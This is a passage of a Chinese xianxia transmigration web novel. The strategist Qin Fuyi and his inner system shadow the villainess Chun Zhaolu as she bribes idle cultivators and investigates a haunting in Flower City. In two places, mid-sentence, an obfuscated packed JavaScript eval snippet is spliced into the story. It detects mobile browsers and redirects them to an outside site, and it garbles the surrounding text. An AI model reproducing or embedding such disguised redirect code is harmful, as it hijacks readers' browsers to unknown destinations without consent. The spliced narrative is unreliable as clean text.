春朝露淡淡的说:“我不用知道,这时候灯最亮的那栋楼肯定就是。” 破魔驿最早是什么时候成立的无人得知,它最早存在的时候也并不是用做今日的用途。曾经上古大妖深渊魔祖存在的时候,破魔驿的作用类似于烽火台,破魔驿亮起,则意味仙界遭难,人间示警,诸王国关闭阵门,躲避厮杀,安置百姓。 但那是许久之前的事了,自从灵脉枯竭后,妖魔早已绝迹,这世间也再也没有那样震动人间的妖魔之战了,破魔驿也就逐渐空置。然而这世间无大妖不代表世间无邪祟,世本无恶则人心自生恶,虽然撼世的妖魔不存在了,但世间仍存在无数魑魅魍魉。 不知道哪位老祖著述的大作,讲人之魂为鬼,人之恨为魑,人之爱为魅,人之失为魍,人之怨为魉,魑隗魍魉自人心始,又反过来为祸人心,人无力破之,所以修仙求道之人当代为破之,以卫世间正道。所以从那位老祖起,破魔驿的作用主要用于凡间破除邪祟,修士穿过阵门除妖伏魔,使“破魔”之驿真正用于“破魔”。 但当时破魔驿一般都是作为情报站使用,破魔驿将信函传给上界最大的仙门,仙门再各自分派任务,如果自己能解决就师门内派遣解决,解决不了再传讯其他仙门联合商讨。虽然这样也能解决大部分问题,但破魔驿传递消息的时效性往往赶不上附近修士直接前往事故之地援救来的及时,而且破魔驿间建立的单项联络的有效性,也往往决定了破魔驿的有效性与单独某个仙门的兴盛与衰亡息息相关。 伴随年岁流传,破魔驿几废几立,后来到了无妄山主寒山彻执位仙尊,号令仙门的时候,他恢复了破魔驿,并改变了原有的规则,由修士接收到灵鸽传来信函再启程前往破魔驿,改为由各门派轮流派遣弟子驻扎破魔驿,让驻扎的弟子是守城的第一道防线,以此来确保救危的时效性,以防出现一城有难但附近根本没有修士路过以致一城俱亡的惨案出现。 秦福宜听完之后愣了下:“这不是很好的想法么?” 春朝露低声嘟囔:“想法好有什么用。” 远远地,秦福宜果然看见那如火炬一般直入云霄的云楼,破魔驿伫立在花城最大的万佛寺脚下,是和城内木楼截然不同的青石建筑,自带一股沧桑厚重。 但此时从青石建筑里传来的不是磨刀霍霍的拭剑之声,亦不是斩破云雷的霍霍练刀之声,而是嬉笑唱闹,推杯换盏的笑闹声,透过敞亮的门缝,能看见不少黑打底红腰带金玉配饰的仙门弟子正在对酒当歌,人生几何。 一边是游离城内的低等邪魔,一边是高朋满座的酒肉弟子。 春朝露不知道从哪翻出块布巾挡住了脸,抬腿一脚就把那只被她不辞辛劳带过来的怨魉踹了进去。秦福宜想春朝露其实蛮有些足球天赋的,这一脚准度和力度都恰到好处,正正好让那吃人的妖魔停在旋转舞台的正中心。 “啊,这什么东西——” “天呐、是是怨魉,它怎么进来的!快!拿法器来!” “别挤我,再挤要被吃了。” 秦福宜看多了春朝露抓这东西像揪只兔子,一时没想到这小小一只眼球怪兽竟能在一群看上去孔武有力的弟子中闹出如此大的风波。 秦福宜小声问:“欸,它要是万一把他们吃了怎么办?” 春朝露更低声:“吃了才好呢!” 秦福宜虽然知道自己应当劝阻春朝露的蔫坏行为,但内心却也看不惯这些在其位不谋其事的弟子,于是看了一眼把下半张脸捂得死紧,只露一双黑白分明的眼珠半阖着长睫的春朝露一眼,什么都没说。 春朝露倒也不是啥的,看见有弟子掏出法器来就知道差不多了,她整理一下衣装准备出发,行动前还不忘嘱咐秦福宜一句:“你就站这不要动,大佬都是不会轻易露面的。” 秦福宜虽然爱没事过度脑补却也不是个傻子,见状立刻反应过来:“你不是想我和你一起出门,你是想用我来骗人。” 春朝露:“仙人间的事怎么能叫骗呢,这顶多算无为而治。” 说完之留下一个给你自己体会的眼神,她就跳到了高台之上。 春朝露出手的时机掐的很巧,她看见弟子拿出了法器,却没给他们催动的机会,抢先一步点破邪魔,反倒还卖了在场所有人一个救命之恩。 淋漓黑泥破碎在她脚下,一时在场所有人静默不语。 春朝露用一种淡而轻慢的语气缓缓说道:“夜半路过,不知诸位道友,何事喧哗?” 一群人面面相觑,最后簇拥出一个麻杆一样高瘦的青年人,青年想了想说道:“谢过您的救命之恩,无事喧哗,只是怨魉突然入内,惊慌之下一时没有顾全体统,还请您见谅。” “怨魉?” 像是被青年提醒才发现地上的是什么一样,台上人露出一种诧异又惊奇的神色:“这种怨祟怎么会出现在此地?” 不待青年回答,她便主动闻言安慰道:“看来此地怨魉横行到以破魔驿众人的实力都无法驾驭了,不必担心,我家山主路过此地,正解诸位之忧。” 6. 收买 春朝露的声调很轻,甚至比寻常和秦福宜说话时更多三分亲切,但却像一颗天外滚石砸到了富丽堂皇的宴会桌上,有宛如掀桌般的奇效,紧接着便是一阵盘碟杯盏侧翻打落,稀里哗啦声里一片狼藉。 到底是解在座之忧,还是春朝露之忧,知道答案的只有春朝露自己,反正嘴长她身上,白的是她说的,黑的也是她说的。 反正春朝露嘴上说的是:“同为仙门修士,不能见死不救。” 高瘦的麻杆青年还试图挣扎:“区区意外,不敢有劳,我等尽心尽力,上愿仙长安康,下佑百姓平安,除此之外,寥寥薄命,并不敢惜。” 都欢歌夜宴了还不叫惜命,那真惜命了要怎么样?在家捂着被子睡大觉么? 显然春朝露也是这么想的,于是语带不善的反问:“那边那个被怨魉咬掉裤子的小胖子可不是这么想的吧?花城高悬悼念亡者的白幡似乎也不这么想?” 秦福宜见状有些想笑,觉得眼下这情况就好像睡着的羊群里突然多出了一只牧羊犬,只不过寻常牧羊犬的作用是引导羊群,而春朝露这只披着狼皮的恶犬却好像故意要将羊群的不安逼到极致,让他们顾不得前方是否悬崖峭壁只想一头莽出去。 只是山主二字而已……就足以引发如此大的恐慌么? 春朝露的师兄,所谓的长泽仙君难道是什么恐怖至极的人么? “好啦好啦,您想问什么直接问好了!”被咬掉裤子的小胖子是第一个崩溃的,他年纪尚小,还没多少偷奸耍滑被管事抓包的经验,目前只想尽快结束掉这尴尬崩溃的一晚,本来花城闹祟就够让人崩溃的,这祟竟然还和开了定位一样能进门找人?这世上还有比这更惊悚的么?如果可以他只想火速回家,如果这个看上去让师兄很害怕的不知道哪个仙门的管事真有让他滚回去的本事,他还求之不得呢! 春朝露点点头,将视线转向这个合适的人:“我有三问。” “第一问,城主父子关系可好?第二问,城主父子出事前可曾去过什么统一的地方?最后一问,花城可还曾发生过其他类似的邪祟作案?” 小胖子修士想了想:“没怎么听过父子不和的传闻,想来城主父子的关系尚且可以。” “城主父子出事前统一去的地方,是城中一座名叫纤手的花楼。” “花城可还有类似的邪祟作案?有,还有几起都没有找到凶手。” 春朝露这么一问,小胖子修士就不信她只是夜半三更偶然路过了,心里有数的一笑,他问:“你也是为半城之财来的吧?如果是,不如早些回去算了,这钱根本不是寻常人能赚的。” 他压低声音,不知是恐慌还是畏惧:“目前为止,破魔而来的修士可没一个全手全脚回去的。” 春朝露皱起眉:“这花城的邪祟这么凶恶么,既然这么凶恶,为什么不早日上报寻找其他仙门修士的帮助?” 小胖子茫然摇了摇头,咬着手指道:“不是凶,而是……怪。” 他苦笑:“如果说这世上有看不见的大妖?您可愿相信?” “看不见的……大妖?” “对,这花城之乱其实要从半年起开始,半年前发成了一场吞天日食,日食过后先是城北金饰店的掌柜离奇死亡,紧接着是城东家里卖扇子的张员外……因为这城里有座叫纤手的花楼,所以人们纷纷传言是千手花妖的传说成了真。” “后来这传说惊动了城主公子,那位公子应该是这城里第一个试图捉住花妖的人,但结果嘛,大家应该都听说了……城主公子过世后,城主悲痛之下再查花妖,结果一无所获不说,还莫名其妙丧了命。” 小胖子修士讲到这里有些犹豫,似乎不知道有些细节该讲不该讲。 但他讲到这里便已经是春朝露的消息就是从这里开始听说的,于是她自然而然接话道:“你说的是城主死于城主公子的手的传闻是么?” 他点点头:“原来您知道。当时城里一阵传闻腥风血雨,都说这是来自花妖的嘲讽,在城中居民的逼迫下,新继位城主的小公子一度带人封了纤手楼,但您猜怎么着?楼封是封了,可凶案并没有因为纤手楼被封而停止,反而越演越烈。” “而且妖者天地之精也,就是再厉害的大妖也不可能无形无踪,但很多起凶案发生的时候,现场都是门窗紧闭,空无一人的,如果这真是花妖闹祟……那闹祟的难道是花妖死后所化的鬼怪不成?可妖精之物按理死后是无形无踪的,又哪里来的鬼怪么?” “我知道近日很多修士抱怨我们在其位不谋其事,但这种离谱的邪祟作案的事让人怎么管?我们只能奉劝路过修士守身惜福、少管闲事,就这样还要被人怨怼无情无义,这世道真是做事也难不做事也难。” “说我们无情无义,那怎么不见别的地方都不闹祟就这花城闹祟?说不定是这些人该呢。” 这话就讲的有些过分了,显然这么觉得的不只一个春朝露,身边麻杆瘦长的青年也低声清喝阻止了他接下来要讲的话。 春朝露品了品觉得里面还有些细节可以再问的详细些:“你刚才说看不见的大妖,既然看不见,又为何得知它存在?难道是邪祟出现前会有什么征兆不成?” 小胖子咬了咬嘴唇:“具体征兆也说不上是什么,但日吞之日时大家曾集中在广场上看日,在日吞之后死去的金饰店老板曾当众发难说黑夜中有人推了自己一下。那金饰店老板是个暴脾气,这事当时还闹得不小,专门找了官府衙门的人来查,可查来查去结果似乎都是并没有推他,但金饰店老板信誓旦旦的样子又并不像作伪……若说有什么征兆,便是和这看不见的大妖一样离奇的鬼手之推吧。” 感觉该说的都说完了,小胖子随即五体投地式俯倒在地:“我该说的已经都说完了,我们也不是没查,是实在查不明白啊,向我们这种无用之卒,求您做主,让我们火速、麻溜的,滚回自己的山门吧!” 这危险又妖魔鬼怪频出的破魔驿,谁爱守谁守好吧,要不是穿过传送阵需要专门通关符印,他真的早有多远跑多远了。 春朝露想过这些人的菜,没想过这些人竟然可以这么菜,偏偏这小胖子一个拳头还没挨过去直接躺平任锤了,软到扶他都嫌滑手,然而现在用人之时又不能真的放任他撂挑子不干,春朝露想了想,无奈将手伸向口袋…… 与此同时,秦福宜正按照春朝露的指示抄手站在游廊外,远远望去灯火如星,繁花黯淡,干枯蜿蜒的枝干宛如祈求月幕拥抱苍天一般舒展。 晚风微凉,酒意里卷着微醺的桃花香,宛如少女含醉带怯的笑,当真风月无边。 秦福宜正看得出神,突然感觉身后有人拍了拍自己,他以为是已经完事的春朝露,回过头时发现春朝露正隔自己十万八千里还在听仙门弟子抱着大腿哭诉衷肠呢。 其中有个小胖子,哭的真是格外歇斯底里,一口一个委屈一口一个崩溃,要不是小胖子实在颜值乏善可陈哭的也没滋没味他都要怀疑这胖子是不是故意在试图引起他攻略目标的注意了,不过瞅他那鼻涕他那眼泪,啧,不会哭就不要哭了真是丢汉子们的脸,不知道梨花带雨也是一门技术么? 【系统,春朝露刚才是不是出来过?】 【没有,攻略目标即使想出来也和宿主隔着里三层外三层的人潮吧】 眼见的确四下无人,可秦福宜刚才分明觉得有人拍了怕自己,左思右想不出结果,还是觉得是春朝露恶作剧的可能性最大,于是收回了视线一眨不眨的看向室内。 破魔驿内部是四四方方的回字形,中央大片空地本意是摆放长桌共同商量作战对策的,此时却成了寻欢作乐的好舞台,原本用来议事的位置上放置了一面大鼓,鼓皮鲜红,鼓面足有双人环抱之长,原本应该是个做鼓上舞的好地方,奈何此时坐在鼓上的是春朝露,她一边听这一屋子人鬼哭狼嚎,一面有一下没一下在鼓面上敲一下。 她敲的不重,但“咚、咚”每下都像悬在人的心头,仿佛一把看不见的断头刀。 这一幕其实多少是有些好笑的,看上去宜喜宜嗔正是鼓上舞好人选的春朝露大马金刀往鼓上一坐,审视的目光居高临下扫来扫去,原本穿着体面高高在上的看客却一个个趴在鼓下撅着屁股,高喊苍天见怜。 因为走了一会神秦福宜错过了春朝露的提问,所以不知里面究竟发生了些什么,但春朝露得到的答案应该是不甚满意的,因为秦福宜看她挎着个小脸,一副谁马上要倒霉的样子。 春朝露心情差,按理有人要挨刀,常理来讲秦福宜是该劝的,但他又觉得屋里这些人都挨刀不亏,于是带几分期待等着,没想到等着等着,却见春朝露从口袋里掏出了……灵石? 小胖子还在哭诉他们也不是真的冷血无情,只是原本安排到破魔驿的时候说该是各大宗门轮换,但实际上他们宗门小所以自从来了就长这一样再也没换过,可他们也要修炼啊!哪里管的了那么多闲事。 春朝露说花城事毕之后可以为他们安排调换,但现在怨魉横行需要了解花城情况的修士在城内巡逻以保证城中百姓能正常生活,考虑到他们也的确不容易,所以春朝露愿意付他们一份补贴。 “巡逻至少要一日三次,尤其黎明之时和日落之时,人进人出的主干道路更是时时刻刻轮班驻守。” 碧色的灵石光芒凝聚在春朝露指尖,她嘴里是一副不差钱的豪横:“这是定金,如果表现的好的话,还有额外的奖金。” “我这个条件,应该是极好的了?” 的确如此,自灵气衰落以来连修士也多使用金银做一般等价物,像春朝露这样出手仍用玉石结算的,是极其少数的一部分了。 她此话一出,连之前在哭天喊地的小胖子修士都不由翻身起来查看。麻杆一样的痩青年翻过手,隐隐能看见玉石底座刀凿斧刻般的寒山二字。 寒山…… “当然在座也可以不做”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726953|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春朝露举起一根手指:“毕竟我和我家山主都只是路过,说到底管不得此事。” “不过俗话说当一天和尚撞一天钟,这钟撞的不好,总有人回来找和尚的麻烦的吧。” “哪里的话”,瘦麻杆立刻鞠躬:“纵使没有您的补贴,我们也当为城中百姓万死不辞才是。” 春朝露:“真的万死不辞才好呢。” 春朝露出现的突然,离去的亦突兀,整个人就像光闪一样消失在室内。 门外的秦福宜感觉自己被拉了一下,下一秒整个人就七拐扒拐的出现在某个小巷深处,他扶正衣带打趣道:“你带我和不带我也没什么区别呀,他们不是很轻易就信了你的话了么?” 春朝露的瞳孔深黑的像泛不起青荇的沼泽:“你觉得他们信了我的话?” 她摇摇头:“你的作用,从现在才开始呢。” 春朝露捂着他的嘴,两个人贴边站在石台阶上,秦福宜还不待发问你在干什么呢,就看见四边形的灰色屋檐下伸出来半个圆圆的东西,顺着圆圆的阴影往下是接着脑袋的脖子和细长的四肢……那分明是个人。 有人在跟着他们? 春朝露看起来倒是一副毫不意外的模样,她袖角一动掌心就多了一把短剑,满剑轮圆,她剑尖点像来人时半空就炸裂成一团烟花。 春朝露落地时看了一眼身后瞠目结舌的俊秀青年,像是很满意他此时的反应:“你不是好奇,我师兄几看不见血,那怎么能确定对方是真的死了?” “这个答案其实也无比简单啊,把对方湮灭到连尸骨都无根无据不就行了。” 她声音听上去又轻又甜美。像在分享一个小秘密:“这是我师兄的独门绝技,不过这招我也多少多了一点点。” 秦福宜看着那随风翻滚的碎纸卷,难以想象原来这些纸卷刚才还是一个完整无瑕的人。连尸骨都不留下的湮灭之法么,这种方法的确听上去够反派呢。 怪不得,他刚刚还在想,一个愿意拿自己最喜欢的钱出来换满城百姓平安的春朝露,到底哪里像反派,原来是他结论下早了。 “别动,”春朝露有些遗憾的点住青年微微皱起的眉骨:“你不是想要扮演成我师兄么?那我师兄在这时候才不会有反应呢,他呀,冷漠的就像天山上的雪。” 春朝露满意看着青年因为恐惧微微发白的脸,看他听见自己描述师兄时一副看见变态的表情。 哼,吓死你们这些攻略者!不然一个个还真以为她是什么地里的萝卜啊,谁想来拔一下就拔一下么?不过也真是够蠢的,连正常修士派来跟踪的一定是替身傀儡都不知道,还傻兮兮的以为自己真的炸了一个人呢。 春朝露满意看着青年微抖的唇,觉得今天可以到此收官了。 没想到擦肩而过时那唇齿颤动的青年却一把拉住了她的手腕:“那你是,真的喜欢你师兄么?” 在秦福宜看来,与其说是想和师兄一起除魔,不如说春朝露看中了所谓师兄身份带来的好处,想要在关键时候有个人出来背锅,她以寒山彻的手法杀人,行的分明是嫁祸之事。 而真正恋慕情深、年少慕艾的人,是做不出此番言行来的。 秦福宜的话问的不只是春朝露,更是系统:【系统,之前这对师兄妹的资料你还没给我。】 【春朝露对她师兄抱有的,到底是怎样的感情?】 【……这就是我之前想和宿主说的,在我们已知的官方资料里,并没有证据证明春朝露对她师兄怀有任何特殊的感情。】 【在小说前文记载中,春朝露和寒山彻本是一对有婚约关系的未婚夫妻,后来成为师兄妹,其师尊的身份神秘不可考。但出师后在寒山彻选择登上无妄山时,春朝露并没有选择跟随,反而以十万灵石的天价解除了婚约,春朝露还因为这次断婚被人指责背信弃义】 【虽然解除婚约这个行为并不能说明两者没有感情,但如果春朝露真的像她表现的那样对寒山彻情根深重的话,她只要什么都不用做就好了呀,只要什么都不做就可以成为心上人的妻子,那大多数普通人都不会选择解除婚约的吧?而且从攻略角色的性格上看,她明显具有爱利益的特性,那和寒山彻在一起才能给她带来更多利益吧?】系统犹豫着说:【倒是有小道消息说春朝露的断婚可能和另一位仙君有关,但奇怪的事我们这边搜索不到相关人物资料,有可能是因为这个消息只是谣传,也有可能是因为阅读这段往事需要更高等级的权限……】 【反正言而总之,我想对宿主说的就是考虑春朝露的反派特性,你应该对她讲的每句话都抱有适度怀疑!】 最好每句话都不要相信才好! 【宿主】,系统严肃警告道:【虽然你面前的春朝露可能只是身世凄惨脾气差劲急需拯救的漂亮女孩,但作为攻略人物,春朝露的危险等级评定是S+,而她的师兄,明显在任何人看来威胁程度更大的长泽仙君寒山彻的等级只有S】 7. 剧情 系统也不知道这等级到底是怎么评出来的,虽然他也怀疑是不是总电脑是不是卡了,但宿主既然坚持不脱离世界的话,那最好还是按照系统推荐提起该有的防备,这危险系数里面指不定包含的是多少其他攻略者的真血泪呢。 “危险评定S+的反派恶女么?”,秦福宜呢喃着,越发好奇春朝露尸山血海堆积的内心里到底埋藏着什么。 心绪千变万化,但表面上秦福宜仍在直直看着春朝露,像固执的在等待一个答案。 他比春朝露要高很多,所以垂眸看人时自然而然形成一片阴影。 阴影里春朝露看不清他的表情,但这不耽误她微微笑起来:“我只说了我希望有机会和师兄一起除魔?至于所谓喜欢,都只是你一厢情愿脑补吧。” 也许是两个人奔波半天怎么都算有点相熟,也有可能是春朝露今天已经在他身上获得了足够的乐子,她难得认真的解释道:“我和寒山彻,其实就是纯纯一对师兄妹,我连寒山彻的手都没碰过。” 连手都没碰过么…… 一时之间,秦福宜也不知道自己究竟是该高兴还是不高兴,高兴好像是有一点的,毕竟所谓单相思的经历从头到尾不存在,不高兴的话,则是因为他有一条攻略线落了空。 春朝露还就是油盐不进一颗无缝的蛋啊! 辛辛苦苦大半天,转头一看醒在原点。 【宿主,是否要放弃任务,主动脱离世界?】系统虽然是个没得良心的周扒皮,却也不得不承认这个世界宿主的确太惨了。 秦福宜的答案依旧是拒绝,花城的谜底没揭开,对他而言难受的就像剧本杀刚读完题干被人叫回去开会,而且他之所以选择大家都避之不及的花城线,也是因为这里面有他自己的考量。 而且他一直觉得所谓大佬所谓前辈都局限了,为什么非要获得女孩子的爱才能督促她弃恶向善呢?他这么大一个人站在这里难得就没有弃恶向善的作用了嘛? 这么想着,秦福宜重新跟上春朝露的脚步,看见她举着一本巴掌大的小册子在翻。 春朝露侧眼看见秦福宜的脚步跟上来,也并没有多说什么,依旧在翻她手里那本小册子。 “这是什么?”他好奇的问。 “是从破魔驿修士身上摸到的记载城内各种邪祟之变发生的时间地点的记录簿”,春朝露半点没为自己的顺手牵羊感到抱歉,反而认真琢磨:“是不是还是要去趟城主府呢,根据册子上的记载其他受害者的尸身应该已经都焚尽了。” 城主府? 秦福宜听见这三个字就头大,对对对就是这三个字,这就是他之所以无论如何都要留在花城的花城。 一听春朝露在打城主府的主意,秦福宜立刻激进反对道:“城主府里应该没线索吧,你不是之前猜了城主案只是这一连串邪祟作案中的一环么,破魔驿的人不也证实了这个观点,那你还看什么看,这不是白白浪费精力?我们现在不应该继续围绕纤手楼进入深入调查么?” 春朝露好奇的看了他一眼:“你好像特别不喜欢城主府?” 秦福宜冷汗都下来了,心想我该怎么和你说,因为我知道那新城主是就条毒蛇,甩都甩不掉那种…… 少女,我这是在防止你沾上些不该沾染的烂桃花。 秦福宜没法解释,幸好春朝露也没有多问,看样子的确就是随口一提,对城主府没多大兴趣的样子,两个人就这么各怀心事走在路上。 秦福宜丧是因为他的人生大计又一次被春朝露击破了,但他不知道春朝露为什么看上去垂头丧气? 他好奇,于是他就问了。 “看上去丧?那当然,我今天大出血,找不到邪祟的每一天花的都是我的钱钱啊!”,春朝露幽怨的看着这灰瓦白墙满城烟粉的城市,再也没有白日欣赏的愉快心情了,招什么不好,招这种不知道什么时候冒出来还爱晃来晃去的游走型邪魔。 秦福宜:……你也就这点出息了。 秦福宜伸手进口袋,掏半响摸出来一块锃亮的金元宝。 “虽然我知道这个不是玉石,但我只有这个,你想要就给你吧。” 【宿主!】系统着急的在他识海里大喊:【你是不是忘记你给自己立什么人设了,穷小贩是不可能随手拿出一锭黄金的!】 【没事,我早想过了】,秦福宜宽慰系统:【我这人设有一环是没落的官家之子,她要问我就说是之前私藏的,这说的过去】 尽管系统的心提到了嗓子眼,但春朝露的确是个奇怪的任务目标,该问的时候她不问,不该问的时候她也不问。 春朝露看见那一锭明晃晃的金子时眼睛明显亮了下,却也没有多问什么,径直把元宝塞进了口袋里。 有了钱傍身后,春朝露明显心情好多了,那张小脸也不如考丧批了,整个人也有笑模样了。 秦福宜禁不住想,明明是个恶女,还这么好哄。 就在他沉浸式思考天天上供能不能把春朝露的好感堆起来时,不远处前方清爽爽飘来一句:“好吧,看你今天已经交了买身钱的话,我就不拉你去卖了” 什么? 拉、拉我去卖? 俊秀逼人的青年不可置信的重复道:“去卖?……我?” “是啊”,无情赚钱老板丝毫不觉得自己的话有哪里不合适:“你现在既然是纤手楼的一份子了,自然要为纤手楼的蓬勃发展做出自己应尽的一份贡献。” “可是我是男孩子啊?” “放心”,春朝露拍拍他的肩:“你不输那些女孩子什么的。我都这么有自信,你难道对你一点自信都没有么?” 这话虽然听着很顺,但感觉总有哪里不对,像是某种PUA。再说什么自信不自信,这是自信的事么,秦福宜心态要崩了,春朝露你不是一心触除魔破邪么,怎么还惦记着逼人出台的事呢!感情蚊子腿再细也是块肉是么? “……但我什么也不会啊?” 春朝露倒仰着头看他,睫毛从这个角度看上去更长了,像一把小扇子,春朝露语气更轻巧的问:“你不是之前说了要学琴么?” “……” 秦福宜摊摊手:“对不住了,我这个人天生笨手笨脚没半点音乐细胞学不会。” “没事,实在不行你可以卖脸嘛。”春朝露板着小脸认认真真分析道:“卖脸不行的话你身段也不错啊,这条街上人听惯了旧琴,说不定正想来首新曲呢?你主打就是那个新意,哎,别走嘛。” 秦福宜气冲冲在前面走,春朝露不紧不慢在后面跟。 长街星火如锦缎,依旧长夜不息,星火中点点微光,刮过脸颊时带一点为尽的预热,抿开在手里才发现不是光点,是未燃烧尽的纸片。 秦福宜捻到一快大点的纸片:“这街上的黑心老板果然真的有钱。” 烧得竟不是纸,而是花楼里流行的纸钞,虽然只流行在花楼里,但却是切切实实能拿到银楼兑现的真金白银。 而花楼的老板竟然有钱到烧钱娱众。 “走吧。” 别人要做什么,春朝露是管不到的,她停在灯红酒绿花巷里唯一全暗的那栋小楼前。 “哈?”秦福宜看了看那四敞大开,内里空空如也的门:“竟然真的跑了。” 他猛然想起春朝露和那管事说如果她不买他的楼他必死无疑,一时摸不准春朝露是真的发现了什么还是故意想吓走那管事。 春朝露看上去没多少惊讶,提了一盏纸灯笼径直往二楼第三个房间去。 秦福宜拦她:“夜半三更,明天再看不是更好么?” 春朝露反问:“不看看里面有什么东西的话,你今晚真的能在这睡着么?” 想想好像也是。 吱嘎吱嘎,若说木质小楼哪里有坏处,便是时间久了自带的这配音效果。 又是一声吱嘎,春朝露推开了那道尘封的门,门前七零八落摆着一些断腿的桌子和七零八落歪倒的烛台,不知道是不是管事走之前故意堆到这里试图阻止春朝露打开门的。 秦福宜原本走在春朝露后面,却莫名其妙变成了走在春朝露前面,然后被她一脚踹进了房间,同样的事,怎么看发生第二次也不会是意外,秦福宜马上意识到了春朝露在拿他当实验,有心想说她,却又不知能怎么说,于是只能不爽的翻了个白眼。 春朝露一手举着灯,一手仍是那个小小的绿色香囊,里面装着管事说是灵米一样的东西,春朝露同样以米粒置地,但这次透明圆粒的反应却和前两次截然不同,尚未落地就变成一团紫色的幽火,白花花映照在春朝露笋尖一样精致的下巴上。 “这……是怎么回事?” 秦福宜慌忙四下张望,但出乎意料的是,这房间里并不是什么邪佞满满摆放离奇祭品的祭坛,反倒摆着妆镜拔步床,拔步床上还摆着鸳鸯戏水的被褥,看样子像是个再正常不过的普通房间。 “找错了么?这里面没有任何东西啊?” 春朝露说:“这里有东西,只是我们看不到。” 秦福宜听春朝露这么说,赶忙离开了这件听上去诡异的房间,他从春朝露肩膀后面露出大半个脸:“难道这就是所谓无形之妖?” 春朝露摇摇头:“这里面有东西,但不是妖,我现在开始怀疑所谓千手莳花妖的传说到底是真是假了。” “谁会没事编这么个故事出来?”秦福宜看看空空如也的房间发问道:“那我们现在怎么办,明天去城里别的地方找线索?” 春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726954|156763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝露说不急;“撞邪的三大必要条件还没凑齐呢。” “三大条件?” “对,空间、地点和时间……如果空间和地点都是对的,那就是逢魔之时还未到呗。” 春朝露后退一步,打了个哈欠吹灭了灯笼:“算了,忙了一天是该歇歇了。” 秦福宜追在春朝露的身后问:“你睡哪间房?” 他到不是脑子里在想什么少儿不宜的东西,只是眼下这种情况,怎么看都是春朝露隔壁那间房安全系数更大。 春朝露像是明白他脑中所想一般,回头朝他露出个别有深意的笑:“我睡大厅。” 你……一个姑娘睡大厅? 秦福宜跟在春朝露的脚步后面,等到了大厅他才明白春朝露为什么笑的那么别有深意了,原来她袖间射出两根铆钉,用一根柔韧度极好的丝线一拉就是一根吊床,不知道是修仙之人身体够轻的原因还是春朝露本来就身子软,她滑一下就倒吊了上去,用吊单杠的姿势看着底下的秦福宜,像是在说如果想睡我旁边的话,也可以挪点地方让给你。 秦福宜自然没这个身轻如燕的本事啊,只能在下面干巴巴感叹:“啊,小龙女。” “什么龙女?上古龙族早在万年前就举族陨落了。” 秦福宜没想到一个不慎自己差点又穿帮,慌忙扯开话题:“没,我说你睡这里的话我就随便找其他房间睡了。” 他走时看见春朝露还在倒吊,忍不住问道:“人家仙子睡钢丝,不是很轻盈的侧卧么?” 他说着还像模像样比划了个侧卧花丛的动作。 春朝露说:“我从小学的就是倒挂,这样天元倒灌,金丹稳固。” 秦福宜摇摇头,心想哪来的江湖骗子一样的师傅,把好好的小女孩教成倒吊的蝙蝠,幸好他没和她在一个空间里一起睡的想法,不然半夜三更不被这个姿势吓死。 看着那道修长的身影摇头晃脑的走来,春朝露一个翻转悬正身姿,摆出入定打坐的姿势。要休息回家休息,在这安危莫测的地方睡觉她岂不是傻子,所以她是打算修炼一夜的。 不过这次的攻略者难道是漂亮笨蛋么?居然真信有人吊着睡,她八岁之后就没人再信这个谎言了。 春朝露摇摇头,进入入定。 这一夜,春朝露和秦福宜都过得十分平静。 秦福宜甚至是日上三竿听见春朝露和人说话的声音才醒的。 【系统,早上好呀。】 这是秦福宜的习惯,早上先和人说声早上好,但出乎意料的,今天系统没有回他。 ? 秦福宜纳闷的揉揉眼,一时还以为自己脱离的了书中世界回到了现实的家里,但楼下传来的分明是春朝露的声音。 “新城主醒了?” “是,”报信人声音十分低沉,听上去却有些耳熟:“新城主做昨日梦见绿色天火坠湖,认为是吉兆,所以从昏迷中醒了过来,听说有城中修士想要查验前城主和城主公子的尸身,虽然城主现在扔身体欠佳,但感慨诸位的诚意,所以愿意亲自接待。” “哦?城主亲自接待么?” 春朝露话里听上去起了三分兴趣,秦福宜知道春朝露不是对城主感兴趣,是对她现在势在必得的将来要兑现她半城之财的金主感兴趣。 但秦福宜怕的就是她感兴趣啊,听那人说的,什么绿色天火如湖,呵,敢不敢演的再茶一点,这种装白莲的手段你秦哥早八代前就玩腻了,现在还能让一个书世界里的炮灰从他手上抢走他的攻略目标? 在秦福宜走上楼梯的时候,他识海里的系统便恢复了正常,第一句话听见的就是自己宿主大骂城主白茶。 【城主又不是攻略目标的官配,充其量一个爱而不得,宿主何必这么紧张?】 【他的确是爱而不得,但他总缠在恶女身边不是足够烦人么?那可是个毒蛇一眼阴险狠毒的人,日日夜夜浸在春朝露身边那就是近墨者黑。】 系统叹了口气:【讲真,城主会这般纠缠春朝露,也是春朝露火烧花城在先的吧。】 是啊,火烧花城…… 这就是无论如何秦福宜想改变的春朝露命运里的关键点。 他问系统:【你看春朝露现在有半点放火烧城的迹象么?】 【……没有】,系统火速明白了宿主的担忧:【宿主认为是在花城里发生了事什么引发了春朝露的改变。】 秦福宜点点头,在进入RK637世界之前他就认为火烧花城这段剧情发生的很突兀,在认识春朝露之后他觉得这段剧情更突兀了。 结合上下文,再结合一下他所认识的春朝露,如果春朝露本人没有问题,那最大的问题,一定就在那个迟迟没有登场的城主身上了。 8. 对峙 系统的话再次被打断了,但这次打断它的不是春朝露,而是街道尽头的突然响起的一声声尖叫,春朝露立刻敛了笑。 